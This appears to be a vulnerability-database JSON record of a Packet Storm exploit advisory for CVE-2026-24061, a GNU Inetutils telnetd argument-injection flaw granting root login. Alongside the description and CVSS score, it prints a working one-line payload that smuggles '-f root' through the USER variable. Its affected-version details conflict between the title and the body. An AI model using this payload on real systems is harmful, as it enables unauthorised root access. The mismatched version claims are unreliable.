📄 GNU Inetutils 2.7 telnet Privilege Escalation_PACKETSTORM:214347

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    "description": "Although Packet Storm has multiple exploits relating to this issue, this advisory keeps the details on the GNU Inetutils 2.7 telnetd privilege escalation vulnerability quite simple...",
    "published": "2026-01-26T00:00:00",
    "modified": "2026-01-26T00:00:00",
    "type": "packetstorm",
    "title": "\ud83d\udcc4 GNU Inetutils 2.7 telnet Privilege Escalation",
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    "id": "PACKETSTORM:214347",
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    "sourceData": "# Titles: Telnet Argument Injection Privilege Escalation - RCE\n    # Author: nu11secur1ty\n    # Date: 1/24/2026\n    # Vendor: https://www.gnu.org/software/inetutils/\n    # Software: https://www.gnu.org/software/inetutils/\n    # Reference:\n    https://nsfocusglobal.com/gnu-inetutils-telnetd-remote-authentication-bypass-vulnerability-cve-2026-24061-notice/\n    # CVE-2026-24061\n    \n    ## Description:\n    Argument/Command Injection via the USER environment variable in the\n    inetutils telnet client (version 1.9-4+deb10u2 and earlier). The client\n    improperly passes the USER environment variable contents as command-line\n    arguments to the telnet daemon (telnetd).\n    \n    STATUS:\n    CRITICAL\n    \n    ## Affected Versions:\n    - inetutils-telnet 1.9-4+deb10u2 and earlier\n    - Debian 10 (buster) and derivatives\n    - Possibly other distributions with similar versions\n    \n    # Attack Vector:\n    Network/Adjacent (requires telnet access)\n    CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n    \n    [+]Payload:\n    \n    ```\n    USER=\"-f root\" telnet -a 127.0.0.1 2323\n    ```\n    \n    # Demo:\n    [href](https://www.patreon.com/posts/telnet-argument-148994220)\n    \n    # Time spent:\n    00:01:35\n    \n    \n    --\n    System Administrator - Infrastructure Engineer\n    Penetration Testing Engineer\n    Exploit developer at https://packetstormsecurity.com/\n    https://cve.mitre.org/index.html\n    https://cxsecurity.com/ and https://www.exploit-db.com/\n    home page: https://www.asc3t1c-nu11secur1ty.com/\n    hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\n    nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>",
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